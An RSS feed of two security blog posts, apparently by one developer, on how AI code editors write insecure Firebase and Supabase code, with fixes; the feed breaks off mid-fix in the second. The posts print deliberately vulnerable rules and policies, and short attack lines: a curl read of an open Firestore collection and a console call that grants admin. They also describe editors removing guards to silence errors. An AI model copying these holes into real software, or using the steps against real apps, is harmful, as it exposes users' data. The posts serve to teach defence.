<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Charles Kern</title>
    <description>The latest articles on DEV Community by Charles Kern (@c_k_fb750e731394).</description>
    <link>https://dev.to/c_k_fb750e731394</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3627925%2Fea1f132d-5f9e-4286-b128-5125d43fef4c.jpg</url>
      <title>DEV Community: Charles Kern</title>
      <link>https://dev.to/c_k_fb750e731394</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/c_k_fb750e731394"/>
    <language>en</language>
    <item>
      <title>Why Cursor Fixes Firestore Permission Errors by Opening the Rules</title>
      <dc:creator>Charles Kern</dc:creator>
      <pubDate>Fri, 16 Oct 2026 09:40:41 +0000</pubDate>
      <link>https://dev.to/c_k_fb750e731394/why-cursor-fixes-firestore-permission-errors-by-opening-the-rules-3ml</link>
      <guid>https://dev.to/c_k_fb750e731394/why-cursor-fixes-firestore-permission-errors-by-opening-the-rules-3ml</guid>
      <description>&lt;h2&gt;
  
  
  TL;DR
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;When Firestore throws &lt;code&gt;FirebaseError: Missing or insufficient permissions&lt;/code&gt;, AI editors often "fix" it by rewriting &lt;code&gt;firestore.rules&lt;/code&gt; to &lt;code&gt;allow read, write: if true;&lt;/code&gt; or &lt;code&gt;if request.auth != null;&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Your Firebase config ships in every browser bundle by design, so open rules mean anyone can read or overwrite the data, and auth-only rules mean any signed-up user can.&lt;/li&gt;
&lt;li&gt;The real fix is usually in the query, not the rules: scope rules to the document owner, then add the matching &lt;code&gt;where()&lt;/code&gt; so the query fits the rules.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;You ask Cursor or Claude Code to add an orders page to a Firebase app. You load it and the console says &lt;code&gt;FirebaseError: Missing or insufficient permissions&lt;/code&gt;. You paste the error back into chat.&lt;/p&gt;

&lt;p&gt;The page loads on the next try. The diff is one file, &lt;code&gt;firestore.rules&lt;/code&gt;, and it now lets everyone in.&lt;/p&gt;

&lt;p&gt;This is the same move AI editors make with Supabase RLS errors and Stripe signature errors. The error is the guard doing its job, and the quickest way to make it go away is to remove the guard.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Vulnerable Code
&lt;/h2&gt;

&lt;p&gt;The bug is a security rule with no ownership condition. AI editors usually write one of two versions, and both make the error disappear.&lt;/p&gt;

&lt;p&gt;The blunt one:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;// firestore.rules
// CWE-862: no authorization check at all
rules_version = '2';
service cloud.firestore {
  match /databases/{database}/documents {
    match /{document=**} {
      allow read, write: if true;
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Firebase's own "Avoid insecure rules" page shows this exact ruleset with the warning "NEVER use this ruleset in production." It means anyone who knows your project ID can read, change, or delete every document.&lt;/p&gt;

&lt;p&gt;The version that looks responsible:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;// firestore.rules
// Signed in is not the same as allowed
match /orders/{orderId} {
  allow read, write: if request.auth != null;
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This one feels like a fix because it mentions auth. It is also an example on Firebase's own "Get started with Cloud Firestore Security Rules" page, which is part of why it shows up so often. But Firebase's insecure-rules page lists it under "Not recommended: Any logged-in user has read and write access to your entire database." Anyone can create an account in your app, so anyone can read every order and edit anyone else's.&lt;/p&gt;

&lt;p&gt;Your project ID is not a secret. Firebase's API key docs say Firebase API keys are "OK to include in code or checked-in config files" because access to data is controlled by Security Rules and App Check. So with &lt;code&gt;if true&lt;/code&gt;, this is the whole attack:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="s2"&gt;"https://firestore.googleapis.com/v1/projects/YOUR_PROJECT_ID/databases/(default)/documents/orders"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;No key, no token. The response is your orders collection.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why This Keeps Happening
&lt;/h2&gt;

&lt;p&gt;AI editors open the rules because the error message points at the rules, while the real cause is usually the query. Firestore rules are not filters. Firebase's "Securely query data" docs say it directly: security rules are not filters, and queries are all or nothing. If a query could return even one document the user is not allowed to read, the whole query fails.&lt;/p&gt;

&lt;p&gt;So when a developer writes good owner-only rules and the AI writes this query:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;snap&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;getDocs&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;collection&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;db&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;orders&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Firestore rejects it. The query asks for every order, and the rules only allow your own. The error is correct. But the model sees "insufficient permissions" next to a rules file and widens the rules until the query passes.&lt;/p&gt;

&lt;p&gt;Two more things push it that way. When you create a Firestore database, Firebase offers a test mode that grants access to all users, so plenty of public projects and tutorials start from open rules. And GitHub issues about this error regularly include "my rules are already set to &lt;code&gt;if true&lt;/code&gt;" as a debugging step, which makes &lt;code&gt;if true&lt;/code&gt; look like a normal thing to try.&lt;/p&gt;

&lt;p&gt;Nothing in the editor flags any of it. The rules file is not JavaScript, there is no type error, and the app works.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Fix
&lt;/h2&gt;

&lt;p&gt;Write rules that check ownership, then make every query match them. Store the owner's uid on each document and compare it to &lt;code&gt;request.auth.uid&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The rules:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;// firestore.rules
rules_version = '2';
service cloud.firestore {
  match /databases/{database}/documents {

    match /orders/{orderId} {
      allow read, delete: if request.auth != null
                          &amp;amp;&amp;amp; request.auth.uid == resource.data.ownerId;
      allow create: if request.auth != null
                    &amp;amp;&amp;amp; request.auth.uid == request.resource.data.ownerId;
      allow update: if request.auth != null
                    &amp;amp;&amp;amp; request.auth.uid == resource.data.ownerId
                    &amp;amp;&amp;amp; request.resource.data.ownerId == resource.data.ownerId;
    }

    match /users/{userId} {
      allow read: if request.auth != null &amp;amp;&amp;amp; request.auth.uid == userId;
      allow update: if request.auth != null &amp;amp;&amp;amp; request.auth.uid == userId
                    &amp;amp;&amp;amp; request.resource.data.diff(resource.data)
                         .affectedKeys().hasOnly(['displayName', 'photoURL']);
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;update&lt;/code&gt; rule on orders also stops a user from handing a document to someone else by changing &lt;code&gt;ownerId&lt;/code&gt;. The &lt;code&gt;affectedKeys().hasOnly()&lt;/code&gt; check on &lt;code&gt;users&lt;/code&gt; stops a user from writing fields like &lt;code&gt;role&lt;/code&gt; or &lt;code&gt;plan&lt;/code&gt; into their own profile.&lt;/p&gt;

&lt;p&gt;The query that fits those rules:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;collection&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;query&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;where&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;getDocs&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;addDoc&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;firebase/firestore&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;uid&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;auth&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;currentUser&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;uid&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="c1"&gt;// Reads: the where() matches the rule, so Firestore allows it&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;q&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;query&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;collection&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;db&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;orders&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="nf"&gt;where&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;ownerId&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;==&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;uid&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;snap&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;getDocs&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;q&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="c1"&gt;// Writes: always set ownerId to the signed-in user&lt;/span&gt;
&lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;addDoc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;collection&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;db&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;orders&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;ownerId&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;uid&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;item&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;total&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Make sure you wait for auth before querying. A query that runs before &lt;code&gt;onAuthStateChanged&lt;/code&gt; fires has no &lt;code&gt;request.auth&lt;/code&gt;, which produces the same error even with correct rules.&lt;/p&gt;

&lt;p&gt;Then prove it. Run the open-access &lt;code&gt;curl&lt;/code&gt; above against your project and confirm it returns a permission error. Sign in as a second test user and confirm you cannot read the first user's order by ID. The Firebase Emulator Suite with &lt;code&gt;@firebase/rules-unit-testing&lt;/code&gt; lets you keep both checks as tests with &lt;code&gt;assertFails&lt;/code&gt;, so the next AI edit to &lt;code&gt;firestore.rules&lt;/code&gt; breaks the build instead of your data.&lt;/p&gt;

&lt;p&gt;If an admin needs to see every order, do not add an &lt;code&gt;isAdmin&lt;/code&gt; field users can write. Set a custom claim from a Cloud Function with &lt;code&gt;setCustomUserClaims&lt;/code&gt; and check &lt;code&gt;request.auth.token.admin == true&lt;/code&gt; in the rule.&lt;/p&gt;

&lt;h2&gt;
  
  
  FAQ
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Q: Is it safe to have my Firebase API key in client-side code?&lt;/strong&gt;&lt;br&gt;
A: Yes. Firebase's docs say Firebase API keys are OK to include in code. That is exactly why your Security Rules have to do the work: the key identifies your project, it does not protect your data.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Q: Is &lt;code&gt;allow read, write: if request.auth != null&lt;/code&gt; secure?&lt;/strong&gt;&lt;br&gt;
A: Only if every signed-in user should see and edit every document in that path. For user-owned data, also require &lt;code&gt;request.auth.uid&lt;/code&gt; to match an owner field on the document.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Q: Why does my query fail with "Missing or insufficient permissions" after I tightened the rules?&lt;/strong&gt;&lt;br&gt;
A: Firestore rules are not filters. Add a &lt;code&gt;where()&lt;/code&gt; clause that matches the rule's condition, for example &lt;code&gt;where('ownerId', '==', uid)&lt;/code&gt;, so the query can only return documents the user is allowed to read.&lt;/p&gt;

&lt;p&gt;Want this caught before it ships? &lt;a href="https://tinyurl.com/2c42zjum" rel="noopener noreferrer"&gt;SafeWeave&lt;/a&gt; hooks into Cursor and Claude Code as an MCP server, and its Firebase checks on Cloud plans flag &lt;code&gt;if true&lt;/code&gt; rules (&lt;code&gt;firebase-firestore-open-rules&lt;/code&gt;), auth-only writes (&lt;code&gt;firebase-auth-only-write&lt;/code&gt;), and open Storage and Realtime Database rules. An App URL scan also checks whether your live Firestore collections are readable by anyone. Even a pre-commit grep for &lt;code&gt;if true&lt;/code&gt; in &lt;code&gt;firestore.rules&lt;/code&gt; plus one emulator test will catch most of what's in this post. The important thing is catching it before your data is public, whatever tool you use.&lt;/p&gt;

</description>
      <category>security</category>
      <category>webdev</category>
      <category>firebase</category>
      <category>ai</category>
    </item>
    <item>
      <title>Why Cursor Stores Supabase Admin Roles in user_metadata</title>
      <dc:creator>Charles Kern</dc:creator>
      <pubDate>Wed, 14 Oct 2026 17:41:52 +0000</pubDate>
      <link>https://dev.to/c_k_fb750e731394/why-cursor-stores-supabase-admin-roles-in-usermetadata-1j6k</link>
      <guid>https://dev.to/c_k_fb750e731394/why-cursor-stores-supabase-admin-roles-in-usermetadata-1j6k</guid>
      <description>&lt;h2&gt;
  
  
  TL;DR
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;AI editors keep putting a Supabase user's &lt;code&gt;role&lt;/code&gt; in &lt;code&gt;user_metadata&lt;/code&gt;, then gate admin RLS policies and pages on it.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;user_metadata&lt;/code&gt; is writable by the user. One &lt;code&gt;supabase.auth.updateUser({ data: { role: 'admin' } })&lt;/code&gt; call from the browser console makes anyone an admin.&lt;/li&gt;
&lt;li&gt;Put roles in &lt;code&gt;app_metadata&lt;/code&gt; (server-only) or a roles table with no client write policy, and check that instead.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Ask Cursor or Claude Code to add an admin dashboard to a Supabase app and you will often get something tidy. A &lt;code&gt;role&lt;/code&gt; field on sign-up, an RLS policy so admins can read every order, a middleware check that sends non-admins away from &lt;code&gt;/admin&lt;/code&gt;. It works on the first run.&lt;/p&gt;

&lt;p&gt;Then open the browser console on a normal, non-admin account and run one line. You are now an admin.&lt;/p&gt;

&lt;p&gt;No exploit, no leaked key. The role was stored in the one place Supabase explicitly lets users edit.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Vulnerable Code
&lt;/h2&gt;

&lt;p&gt;The bug is reading authorization from &lt;code&gt;user_metadata&lt;/code&gt;, a field the signed-in user controls. Here is the pattern as AI editors usually write it, in three places at once.&lt;/p&gt;

&lt;p&gt;Sign-up stores the role on the user:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// signup.js&lt;/span&gt;
&lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;supabase&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;auth&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;signUp&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
  &lt;span class="nx"&gt;email&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nx"&gt;password&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;options&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;data&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;full_name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;role&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;user&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;An RLS policy trusts it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="c1"&gt;-- CWE-269: privilege decided by a value the user can set&lt;/span&gt;
&lt;span class="k"&gt;create&lt;/span&gt; &lt;span class="n"&gt;policy&lt;/span&gt; &lt;span class="nv"&gt;"Admins can read all orders"&lt;/span&gt;
&lt;span class="k"&gt;on&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;orders&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="k"&gt;select&lt;/span&gt;
&lt;span class="k"&gt;to&lt;/span&gt; &lt;span class="n"&gt;authenticated&lt;/span&gt;
&lt;span class="k"&gt;using&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;select&lt;/span&gt; &lt;span class="n"&gt;auth&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;jwt&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="s1"&gt;'user_metadata'&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="s1"&gt;'role'&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'admin'&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And the app trusts it too:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// middleware.js&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;data&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;user&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;supabase&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;auth&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getUser&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;?.&lt;/span&gt;&lt;span class="nx"&gt;user_metadata&lt;/span&gt;&lt;span class="p"&gt;?.&lt;/span&gt;&lt;span class="nx"&gt;role&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;admin&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;NextResponse&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;redirect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;URL&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;url&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Here is the whole attack, typed into devtools on any signed-in account:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;supabase&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;auth&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;updateUser&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;data&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;role&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;admin&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;supabase&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;auth&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;refreshSession&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The new token now carries &lt;code&gt;role: admin&lt;/code&gt;. The policy passes, the middleware passes, and every order in the table comes back. An attacker does not even need the update call. They can pass &lt;code&gt;role: 'admin'&lt;/code&gt; straight into &lt;code&gt;signUp&lt;/code&gt; and arrive as an admin.&lt;/p&gt;

&lt;p&gt;Supabase's own docs are blunt about this. The RLS guide says &lt;code&gt;raw_user_meta_data&lt;/code&gt; "can be updated by the authenticated user" and that a policy relying on the &lt;code&gt;user_metadata&lt;/code&gt; claim "can create security issues in your application." Supabase's database linter has a dedicated check for it, &lt;code&gt;0015 rls_references_user_metadata&lt;/code&gt;, at level ERROR. Its rationale: user metadata "is designed to be manipulated by the user themselves" and can be changed "to any value (there is no validation)."&lt;/p&gt;

&lt;h2&gt;
  
  
  The Same Bug, One Step Removed
&lt;/h2&gt;

&lt;p&gt;Copying the role into a &lt;code&gt;profiles&lt;/code&gt; table at sign-up does not fix it. This trigger is a common AI "improvement":&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;insert&lt;/span&gt; &lt;span class="k"&gt;into&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;profiles&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;full_name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;role&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;values&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
  &lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;raw_user_meta_data&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="s1"&gt;'full_name'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="n"&gt;coalesce&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;raw_user_meta_data&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="s1"&gt;'role'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'user'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The role still originates from data the user sent at sign-up. And if &lt;code&gt;profiles&lt;/code&gt; also has the usual "users can update their own profile" policy, a user can &lt;code&gt;update profiles set role = 'admin'&lt;/code&gt; on their own row, because RLS checks which row you touch, not which columns.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why This Keeps Happening
&lt;/h2&gt;

&lt;p&gt;AI editors put the role in &lt;code&gt;user_metadata&lt;/code&gt; because it is the only user field the browser client can write. The code runs with the public anon key, so &lt;code&gt;updateUser&lt;/code&gt; and &lt;code&gt;signUp({ options: { data } })&lt;/code&gt; are the tools in reach. Writing to &lt;code&gt;app_metadata&lt;/code&gt; needs the admin API and the service_role key, which belongs on a server the AI may not have set up yet.&lt;/p&gt;

&lt;p&gt;The tutorials point the same way. Sign-up examples store &lt;code&gt;full_name&lt;/code&gt; and &lt;code&gt;avatar_url&lt;/code&gt; in &lt;code&gt;options.data&lt;/code&gt;, and a &lt;code&gt;role&lt;/code&gt; field looks like one more profile attribute. Both metadata objects show up side by side in &lt;code&gt;auth.jwt()&lt;/code&gt;, so a policy reading &lt;code&gt;user_metadata&lt;/code&gt; looks exactly as legitimate as one reading &lt;code&gt;app_metadata&lt;/code&gt;. Nothing errors. Nothing warns in the editor. The admin page just works, for everyone who asks.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Fix
&lt;/h2&gt;

&lt;p&gt;Store roles where only your server can write them, and check them there. You have two good options.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Option 1: &lt;code&gt;app_metadata&lt;/code&gt;.&lt;/strong&gt; Users cannot update it. Set it from a server route or Edge Function with the service_role key, read from a non-public environment variable:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// server only. Never import this file in client code.&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;supabaseAdmin&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;createClient&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
